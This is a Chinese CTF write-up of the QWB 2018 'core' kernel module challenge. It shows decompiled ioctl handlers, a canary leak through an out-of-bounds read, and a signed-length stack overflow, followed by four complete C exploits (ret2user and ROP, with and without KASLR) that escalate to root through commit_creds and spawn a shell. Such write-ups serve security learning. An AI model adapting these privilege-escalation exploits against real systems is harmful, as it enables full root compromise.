QWB-2018-core | 栈溢出

题目分析

core_write

signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  unsigned __int64 v3; // rbx

  v3 = a3;
  printk(&unk_215);
  if ( v3 <= 0x800 && !copy_from_user(&name, a2, v3) )
    return (unsigned int)v3;
  printk(&unk_230);
  return 4294967282LL;
}

core_write:将用户态的内容写入内核态全局变量name中

core_ioctl

__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
  __int64 v3; // rbx

  v3 = a3;
  switch ( a2 )
  {
    case 0x6677889B:
      core_read(a3);
      break;
    case 0x6677889C:
      printk(&unk_2CD);
      off = v3;
      break;
    case 0x6677889A:
      printk(&unk_2B3);
      core_copy_func(v3);
      break;
  }
  return 0LL;
}

core_copy_func

signed __int64 __fastcall core_copy_func(signed __int64 a1)
{
  signed __int64 result; // rax
  __int64 v2; // [rsp+0h] [rbp-50h]
  unsigned __int64 v3; // [rsp+40h] [rbp-10h]

  v3 = __readgsqword(0x28u);
  printk(&unk_215);
  if ( a1 > 63 )
  {
    printk(&unk_2A1);
    result = 0xFFFFFFFFLL;
  }
  else
  {
    result = 0LL;
    qmemcpy(&v2, &name, (unsigned __int16)a1);
  }
  return result;
}

core_copy_func:将signed __int64 a1,将name中a1长度拷贝到局部变量v2中

  • 这里有个问题,当a1是负数的时候,可以绕过if ( a1 > 63 )检测
  • qmemcpy(&v2, &name, (unsigned __int16)a1);取a1的低二字节作为长度,将name的内容写入到v2中

设置off

    case 0x6677889C:
      printk(&unk_2CD);
      off = v3;
      break;

可以通过ioctl,cmd为0x6677889C指定off

core_read

unsigned __int64 __fastcall core_read(__int64 a1)
{
  __int64 v1; // rbx
  __int64 *v2; // rdi
  signed __int64 i; // rcx
  unsigned __int64 result; // rax
  __int64 v5; // [rsp+0h] [rbp-50h]
  unsigned __int64 v6; // [rsp+40h] [rbp-10h]

  v1 = a1;
  v6 = __readgsqword(0x28u);
  printk(&unk_25B);
  printk(&unk_275);
  v2 = &v5;
  for ( i = 16LL; i; --i )
  {
    *(_DWORD *)v2 = 0;
    v2 = (__int64 *)((char *)v2 + 4);
  }
  strcpy((char *)&v5, "Welcome to the QWB CTF challenge.\n");
  result = copy_to_user(v1, (char *)&v5 + off, 0x40LL);
  if ( !result )
    return __readgsqword(0x28u) ^ v6;
  __asm { swapgs }
  return result;
}

由于可以指定core_read,可以越界读取v5及其栈中的内容

利用方式

  • 经典的栈溢出漏洞
  • 先设置off,然后通过core_read读取canary
  • 再通过core_copy_func在栈上布局rop,提权

01_no_kaslr_ret2user

#include 
#include 
#include 
#include 
#include 
#include 
#include 

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}

void get_shell(void){
    system("/bin/sh");
}

void set_off(int fd, long long idx)
{
    printf("[*]set off to %ld\n", idx);
    ioctl(fd, 0x6677889C, idx);
}

void core_read(int fd, char *buf)
{
    puts("[*]read to buf.");
    ioctl(fd, 0x6677889B, buf);

}

void core_copy_func(int fd, long long size)
{
    printf("[*]copy from user with size: %ld\n", size);
    ioctl(fd, 0x6677889A, size);
}

size_t prepare_kernel_cred = 0xffffffff8109cce0;
size_t commit_creds = 0xffffffff8109c8e0;

void get_root()
{
    char* (*pkc)(int) = prepare_kernel_cred;
    void (*cc)(char*) = commit_creds;
    (*cc)((*pkc)(0));
    /* puts("[*] root now."); */
}

int main()
{
    save_status();
    int fd = open("/proc/core",O_RDWR);
    set_off(fd, 0x40);
    size_t buf[0x40/8];
    core_read(fd, buf);
    size_t canary = buf[0];
    printf("[*]canary : %p\n", canary);
    
    size_t rop[0x30] = {0};
    rop[8] = canary ; 
    
    // exp 相对于 poc 的差别
    // rop[10] = 0x4141414141414141;
    rop[10] = (size_t)get_root;
    rop[11] = 0xffffffff81a012da; // swapgs; popfq; ret
    rop[12] = 0;
    rop[13] = 0xffffffff81050ac2; // iretq; ret;
    rop[14] = (size_t)get_shell; 
    rop[15] = user_cs;
    rop[16] = user_rflags;
    rop[17] = user_sp;
    rop[18] = user_ss;
    
    write(fd, rop, 0x30 * 8);
    core_copy_func(fd, 0xffffffffffff0000 | (0x100));
    return 0;
}

02_no_kaslr_rop

#include 
#include 
#include 
#include 
#include 
#include 
#include 

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}

void spawn_shell()
{
    if(!getuid())
    {
        system("/bin/sh");
    }
    else
    {
        puts("[*]spawn shell error!");
    }
    exit(0);
}

void set_off(int fd, long long idx)
{
    printf("[*]set off to %ld\n", idx);
    ioctl(fd, 0x6677889C, idx);
}

void core_read(int fd, char *buf)
{
    puts("[*]read to buf.");
    ioctl(fd, 0x6677889B, buf);

}

void core_copy_func(int fd, long long size)
{
    printf("[*]copy from user with size: %ld\n", size);
    ioctl(fd, 0x6677889A, size);
}

size_t prepare_kernel_cred = 0xffffffff8109cce0;
size_t commit_creds = 0xffffffff8109c8e0;

void get_root()
{
    char* (*pkc)(int) = prepare_kernel_cred;
    void (*cc)(char*) = commit_creds;
    (*cc)((*pkc)(0));
    /* puts("[*] root now."); */
}

int main()
{
    save_status();
    int fd = open("/proc/core",O_RDWR);
    set_off(fd, 0x40);
    size_t buf[0x40/8];
    core_read(fd, buf);
    size_t canary = buf[0];
    printf("[*]canary : %p\n", canary);
    
    int i = 10;
    size_t rop[0x30] = {0};
    rop[8] = canary ; 
    
    
    // exp 相对于 poc 的差别
    // rop[10] = 0x4141414141414141;
    // 通过 rop链执行 commit_creds(prepare_kernel_cred (0));
    rop[i++] = 0xffffffff81000b2f; // pop rdi; ret
    rop[i++] = 0;
    rop[i++] = prepare_kernel_cred;// prepare_kernel_cred(0)
    rop[i++] = 0xffffffff810a0f49; // pop rdx; ret
    rop[i++] = 0xffffffff81021e53; // pop rcx; ret
    rop[i++] = 0xffffffff8101aa6a; // mov rdi, rax; call rdx; 
    rop[i++] = commit_creds;
    
    rop[i++] = 0xffffffff81a012da; // swapgs; popfq; ret
    rop[i++] = 0;
    rop[i++] = 0xffffffff81050ac2; // iretq; ret; 

    rop[i++] = (size_t)spawn_shell;         // rip 返回到用户态后检查一下uid的值
    rop[i++] = user_cs;                     // cs
    rop[i++] = user_rflags;                 // rflags
    rop[i++] = user_sp;                     // rsp
    rop[i++] = user_ss;                     // ss
    
    write(fd, rop, 0x30 * 8);
    core_copy_func(fd, 0xffffffffffff0000 | (0x100));
    return 0;
}

03_kaslr_ret2user_exp

这里绕过kaslr,还是通过题目提供的/tmp/kallsyms获取的符号地址

// gcc -static ret2user_exp.c -masm=intel -o ret2user_exp
#include 
#include 
#include 
#include 
#include 
#include 
#include 

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}

void get_shell(void){
    system("/bin/sh");
}

size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t vmlinux_base = 0;
size_t find_symbols()
{
    FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
    /* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */

    if(kallsyms_fd < 0)
    {
        puts("[*]open kallsyms error!");
        exit(0);
    }

    char buf[0x30] = {0};
    while(fgets(buf, 0x30, kallsyms_fd))
    {
        if(commit_creds & prepare_kernel_cred)
            return 0;

        if(strstr(buf, "commit_creds") && !commit_creds)
        {
            /* puts(buf); */
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            /* printf("hex: %s\n", hex); */
            sscanf(hex, "%llx", &commit_creds);
            printf("commit_creds addr: %p\n", commit_creds);
            vmlinux_base = commit_creds - 0x9c8e0;
            printf("vmlinux_base addr: %p\n", vmlinux_base);
        }

        if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
        {
            /* puts(buf); */
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            sscanf(hex, "%llx", &prepare_kernel_cred);
            printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
            vmlinux_base = prepare_kernel_cred - 0x9cce0;
            /* printf("vmlinux_base addr: %p\n", vmlinux_base); */
        }
    }

    if(!(prepare_kernel_cred & commit_creds))
    {
        puts("[*]Error!");
        exit(0);
    }

}

void get_root()
{
    char* (*pkc)(int) = prepare_kernel_cred;
    void (*cc)(char*) = commit_creds;
    (*cc)((*pkc)(0));
    /* puts("[*] root now."); */
}

void set_off(int fd, long long idx)
{
    printf("[*]set off to %ld\n", idx);
    ioctl(fd, 0x6677889C, idx);
}

void core_read(int fd, char *buf)
{
    puts("[*]read to buf.");
    ioctl(fd, 0x6677889B, buf);

}

void core_copy_func(int fd, long long size)
{
    printf("[*]copy from user with size: %ld\n", size);
    ioctl(fd, 0x6677889A, size);
}

int main(void)
{
    find_symbols();
    size_t offset = vmlinux_base - raw_vmlinux_base;
    save_status();

    int fd = open("/proc/core",O_RDWR);
    set_off(fd, 0x40);
    size_t buf[0x40/8];
    core_read(fd, buf);
    size_t canary = buf[0];
    printf("[*]canary : %p\n", canary);

    size_t rop[0x30] = {0};
    rop[8] = canary ; 
    rop[10] = (size_t)get_root;
    rop[11] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
    rop[12] = 0;
    rop[13] = 0xffffffff81050ac2 + offset; // iretq; ret;
    rop[14] = (size_t)get_shell; 
    rop[15] = user_cs;
    rop[16] = user_rflags;
    rop[17] = user_sp;
    rop[18] = user_ss;

    puts("[*] DEBUG: ");
    getchar();
    write(fd, rop, 0x30 * 8);
    core_copy_func(fd, 0xffffffffffff0000 | (0x100));
}

04_kaslr_rop_exp

// gcc exploit.c -static -masm=intel -g -o exploit
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

void spawn_shell()
{
    if(!getuid())
    {
        system("/bin/sh");
    }
    else
    {
        puts("[*]spawn shell error!");
    }
    exit(0);
}

size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
/* 
 * give_to_player [master●●] check ./core.ko
   ./core.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=54943668385c6573ec1b40a7c06127d9423103b3, not stripped
   [*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/core.ko'
       Arch:     amd64-64-little
       RELRO:    No RELRO
       Stack:    Canary found
       NX:       NX enabled
       PIE:      No PIE (0x0)
*/
size_t vmlinux_base = 0;
size_t find_symbols()
{
    FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
    /* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */

    if(kallsyms_fd < 0)
    {
        puts("[*]open kallsyms error!");
        exit(0);
    }

    char buf[0x30] = {0};
    while(fgets(buf, 0x30, kallsyms_fd))
    {
        if(commit_creds & prepare_kernel_cred)
            return 0;

        if(strstr(buf, "commit_creds") && !commit_creds)
        {
            /* puts(buf); */
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            /* printf("hex: %s\n", hex); */
            sscanf(hex, "%llx", &commit_creds);
            printf("commit_creds addr: %p\n", commit_creds);
            /*
             * give_to_player [master●●] bpython
                bpython version 0.17.1 on top of Python 2.7.15 /usr/bin/python
                >>> from pwn import *
                >>> vmlinux = ELF("./vmlinux")
                [*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/vmlinux'
                    Arch:     amd64-64-little
                    RELRO:    No RELRO
                    Stack:    Canary found
                    NX:       NX disabled
                    PIE:      No PIE (0xffffffff81000000)
                    RWX:      Has RWX segments
                >>> hex(vmlinux.sym['commit_creds'] - 0xffffffff81000000)
                '0x9c8e0'
            */
            vmlinux_base = commit_creds - 0x9c8e0;
            printf("vmlinux_base addr: %p\n", vmlinux_base);
        }

        if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
        {
            /* puts(buf); */
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            sscanf(hex, "%llx", &prepare_kernel_cred);
            printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
            vmlinux_base = prepare_kernel_cred - 0x9cce0;
            /* printf("vmlinux_base addr: %p\n", vmlinux_base); */
        }
    }

    if(!(prepare_kernel_cred & commit_creds))
    {
        puts("[*]Error!");
        exit(0);
    }

}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}

void set_off(int fd, long long idx)
{
    printf("[*]set off to %ld\n", idx);
    ioctl(fd, 0x6677889C, idx);
}

void core_read(int fd, char *buf)
{
    puts("[*]read to buf.");
    ioctl(fd, 0x6677889B, buf);

}

void core_copy_func(int fd, long long size)
{
    printf("[*]copy from user with size: %ld\n", size);
    ioctl(fd, 0x6677889A, size);
}

int main()
{
    save_status();
    int fd = open("/proc/core", 2);
    if(fd < 0)
    {
        puts("[*]open /proc/core error!");
        exit(0);
    }
    
    find_symbols();
    // gadget = raw_gadget - raw_vmlinux_base + vmlinux_base;
    ssize_t offset = vmlinux_base - raw_vmlinux_base;

    set_off(fd, 0x40);

    char buf[0x40] = {0};
    core_read(fd, buf);
    size_t canary = ((size_t *)buf)[0];
    printf("[+]canary: %p\n", canary);

    size_t rop[0x1000] = {0};

    int i;
    for(i = 0; i < 10; i++)
    {
        rop[i] = canary;
    }
    rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
    rop[i++] = 0;
    rop[i++] = prepare_kernel_cred;         // prepare_kernel_cred(0)

    // 关于 pop rcx; ret , call rdx的时候,会把 返回值push到栈中,需要把这个返回值弹走
    // 这里有一个pop_rcx_ret的原因是因为call指令的时候会把它的返回地址push入栈,这样会破坏我们的ROP链,所以要把它pop出去:
    rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
    rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
    rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx; 
    rop[i++] = commit_creds;
    
    rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
    rop[i++] = 0;

    rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret; 

    rop[i++] = (size_t)spawn_shell;         // rip 
    
    rop[i++] = user_cs;                     // cs
    rop[i++] = user_rflags;                 // rflags
    rop[i++] = user_sp;                     // rsp
    rop[i++] = user_ss;                     // ss

    write(fd, rop, 0x800);
    core_copy_func(fd, 0xffffffffffff0000 | (0x100));

    return 0;
}

你可能感兴趣的:(pwn_cve_kernel,linux,pwn)